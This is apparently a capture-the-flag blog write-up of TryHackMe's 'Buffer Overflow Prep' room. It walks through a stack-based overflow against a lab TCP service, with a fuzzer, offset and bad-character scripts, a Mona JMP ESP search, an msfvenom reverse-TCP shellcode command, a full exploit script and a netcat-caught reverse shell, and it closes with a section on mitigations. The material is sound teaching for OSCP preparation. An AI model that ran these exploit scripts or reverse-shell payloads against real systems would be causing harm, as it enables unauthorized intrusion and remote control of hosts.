November 1, 2026

TryHackMe: Buffer Overflow Prep - Step-by-Step Stack-Based Exploitation

🎯 Introduction

By Miraç Aral

5 min read

🎯 Introduction

Buffer Overflow is one of the foundational and historically critical vulnerability classes in software security. It occurs when a program writes more data to a allocated memory buffer than the buffer is sized to hold, leading to adjacent memory corruption and allowing an attacker to hijack execution flow.

In this writeup, I walk through the full exploitation chain for the "Buffer Overflow Prep" room on TryHackMe. Specifically engineered for OSCP preparation, this room demonstrates a classic stack-based buffer overflow targeting a vulnerable TCP service. We will cover:

  • Protocol fuzzing to identify crash thresholds
  • Precise offset calculation via cyclic patterns
  • Bad character discovery and memory inspection
  • Locating reliable JMP ESP instructions with Mona
  • Shellcode generation and NOP sled alignment
  • Final weaponization and reverse shell execution

⚠️ Disclaimer: All activities and demonstrations documented here were performed in a controlled, authorized lab environment (TryHackMe). These techniques must only be used in legal and authorized contexts.

🔍 Reconnaissance

The initial phase begins with identifying and inspecting the target service running on the remote host:

telnet 10.10.10.150 1337
Trying 10.10.10.150... Connected to 10.10.10.150. Escape character is '^]'. Welcome to OSCP Vulnerable Server! Enter HELP for help.

The service greets us with an interactive banner: "OSCP Vulnerable Server". Querying HELP returns the available commands. Our target command is . Sending a baseline verification string confirms standard processing:

OVERFLOW1 test OVERFLOW1 COMPLETE

The server returns OVERFLOW1 COMPLETE, indicating our payload prefix is accepted and copied into an internal memory buffer.

💥 Step 1: Fuzzing — Determining the Crash Threshold

To locate the boundary where input exceeds allocated memory, we develop a straightforward socket-based fuzzer that sends incrementally larger strings prefixed with OVERFLOW1 :

#!/usr/bin/env python3 import sys, time, socket ip = "10.10.10.150" port = 1337 timeout = 5 prefix = "OVERFLOW1 " string = prefix + "A" * 100 while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) print("Fuzzing with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1")) s.recv(1024) except: print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) sys.exit(0) string = string + "A" * 100 time.sleep(1)

Execution Output:

Fuzzing with 100 bytes Fuzzing with 200 bytes ... Fuzzing with 1900 bytes Fuzzing with 2000 bytes Fuzzing crashed at 2000 bytes

The service crashes reliably at roughly 2000 bytes, confirming a buffer boundary breach that overwrites the stack frame.

📐 Step 2: Offset Discovery — Controlling EIP

Knowing the crash threshold is insufficient; we must pinpoint the exact byte offset where the EIP (Extended Instruction Pointer) register is overwritten.

Using Metasploit's pattern_create, we generate a unique 2100-byte De Bruijn cyclic sequence:

msf-pattern_create -l 2100

We deliver this cyclic pattern within our prefix:

#!/usr/bin/env python3 import sys, time, socket ip = "10.10.10.150" port = 1337 timeout = 5 prefix = "OVERFLOW1 " pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab..." try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) s.send(bytes(prefix + pattern, "latin-1")) except: print("Could not connect to target.")

Upon the crash, inspecting the registers in Immunity Debugger reveals the overwrite value in EIP:

EIP = 6F43396E

Querying msf-pattern_offset with this register value calculates the exact distance:

msf-pattern_offset -l 2100 -q "6F43396E"
[*] Exact match at offset 1978

EIP is precisely overwritten after 1978 bytes. This offset forms the bedrock of our exploit structure.

🚫 Step 3: Bad Character Analysis

Certain byte values cause parsing truncation or data alteration within string-handling routines. The most notorious is \x00 (Null Byte, standard string terminator), but services often corrupt or strip others.

We construct a byte array containing all values from \x01 through \xff, append it directly after the 4-byte EIP overwrite ( B * 4), and inspect the ESP stack dump in Immunity Debugger:

badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

Comparing the raw ESP memory dump sequentially highlights corrupted or missing characters.

Identified Bad Characters:

\x00 → Null byte (string termination) \x07 → Bell character \x2e → Period / Dot \xa0 → Non-breaking space

💡 Best Practice:_ Eliminate bad characters iteratively. A single bad character can invalidate or truncate downstream sequence parsing in memory. Always remove discovered bad characters from your test array and re-test until clean._

🎯 Step 4: Finding a Stable JMP ESP Pointer

Stack addresses vary between runs due to environment variables and dynamic memory structures. To reliably execute code on the stack without hardcoding fluctuating ESP addresses, we locate a static JMP ESP pointer in an executable module lacking ASLR, SafeSEH, and Rebase protections.

Using corelan's Mona.py plugin inside Immunity Debugger:

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

Parameters breakdown:

  • -r esp: Filters specifically for pointer instructions targeting ESP (JMP ESP, CALL ESP, PUSH ESP; RET)
  • -cpb "\x00\x07\x2e\xa0": Discards pointers whose addresses contain any identified bad characters

Selected Pointer:

0x625011AF

Because x86 architecture is Little-Endian, this address is represented in payload byte form as:

\xaf\x11\x50\x62

🐚 Step 5: Shellcode Generation

With offset, bad characters, and return address identified, we generate our reverse TCP shellcode using msfvenom:

msfvenom -p windows/shell_reverse_tcp \ LHOST=10.10.14.5 \ LPORT=4444 \ EXITFUNC=thread \ -b "\x00\x07\x2e\xa0" \ -f py

🚀 Step 6: Weaponization and Exploit Assembly

We assemble the complete exploit script with a 16-byte NOP sled (\x90 * 16) preceding the shellcode to absorb register adjustments during decoding:

#!/usr/bin/env python3 import sys, time, socket ip = "10.10.10.150" port = 1337 timeout = 5 # msfvenom generated shellcode (truncated for brevity) buf = b"" buf += b"\xd9\xc9\xd9\x74\x24\xf4\xba\xb3\x05\xbe\x3a\x5e" buf += b"\x29\xc9\xb1\x52\x83\xee\xfc\x31\x56\x13\x03\xe5" # ... [full shellcode] ... buf += b"\x97\xc7\x70" prefix = "OVERFLOW1 " padding = "A" * 1978 eip = "\xaf\x11\x50\x62" # 0x625011AF (Little-Endian) nop_sled = "\x90" * 16 # 16-byte NOP landing zone payload = prefix + padding + eip + nop_sled + buf.decode('latin-1') try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) print("[*] Sending exploit payload...") s.send(bytes(payload, "latin-1")) print("[+] Exploit transmitted successfully.") except Exception as e: print("[-] Connection failed: {}".format(e))

Memory Layout Structure:

┌─────────────────┬─────────────────┬───────────────────┬──────────────┬──────────────┐ │ "OVERFLOW1 " │ "A" × 1978 │ \xaf\x11\x50\x62 │ \x90 × 16 │ Shellcode │ │ (Command) │ (Padding) │ (JMP ESP) │ (NOP Sled) │ (Payload) │ └─────────────────┴─────────────────┴───────────────────┴──────────────┴──────────────┘
  • NOP Sled (\x90): Acts as a landing zone. If the instruction decoder or register offset lands anywhere within this zone, instructions slide smoothly into the shellcode entry point.
  • Little-Endian Ordering: x86 architecture stores least-significant bytes first; hence 0x625011AF becomes \xaf\x11\x50\x62.

🎉 Execution and Shell Capture

Start a Netcat listener on the attack box:

nc -nvlp 4444

Execute the exploit:

python3 exploit.py

The listener catches the reverse connection:

listening on [any] 4444 ... connect to [10.10.14.5] from (UNKNOWN) [10.10.10.150] 49234 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\Users\admin> whoami admin-box\admin

Interactive reverse shell access achieved! 🏆

🛡️ Remediation and Defensive Countermeasures

Modern operating systems and compilers implement multiple exploit mitigation technologies to thwart binary attacks:

  1. DEP / W^X (Data Execution Prevention): Marks the stack memory pages as non-executable (No-Execute NX bit). Attempting to run instructions from stack memory immediately triggers an access violation (STATUS_ACCESS_VIOLATION).
  2. ASLR (Address Space Layout Randomization): Randomizes memory base offsets for the executable, stack, heap, and loaded DLLs upon startup, preventing static jump pointers (0x625011AF).
  3. Stack Canaries / GS Protection: Compilers insert pseudo-random values prior to the return address frame. Function epilogues verify the canary value before executing RET. Corruption aborts execution immediately.
  4. Safe String Functions: Replace deprecated C primitives (strcpy, strcat, gets, sprintf) with bounded equivalents (strncpy, strncat, fgets, snprintf) or memory-safe languages (Rust, Go, Modern C++).

🧰 Tooling Summary

Telnet / Netcat

Network communication, service probing, and shell handling

Python 3

Scripting protocol fuzzer, offset validator, and exploit delivery

Metasploit Framework

pattern_create & pattern_offset cyclic calculation

Immunity Debugger

Runtime binary execution analysis and register monitoring

Mona.py

Bad character array comparison and pointer hunting

MSFvenom

Dynamic shellcode generation and bad char avoidance

📚 Key Takeaways

Binary exploitation follows an uncompromising, methodical process:

  1. Fuzz until abnormal termination occurs.
  2. Determine precise distance using unique mathematical patterns.
  3. Audit the character set to prevent payload corruption.
  4. Acquire execution redirection via safe, non-ASLR jump pointers.
  5. Stage and fire with appropriate padding and NOP buffers.

Mastering these manual fundamentals provides crucial insight into modern memory corruption mitigations (ROP chains, heap exploitation, and mitigation bypasses).

Originally published at https://www.miracaral.com.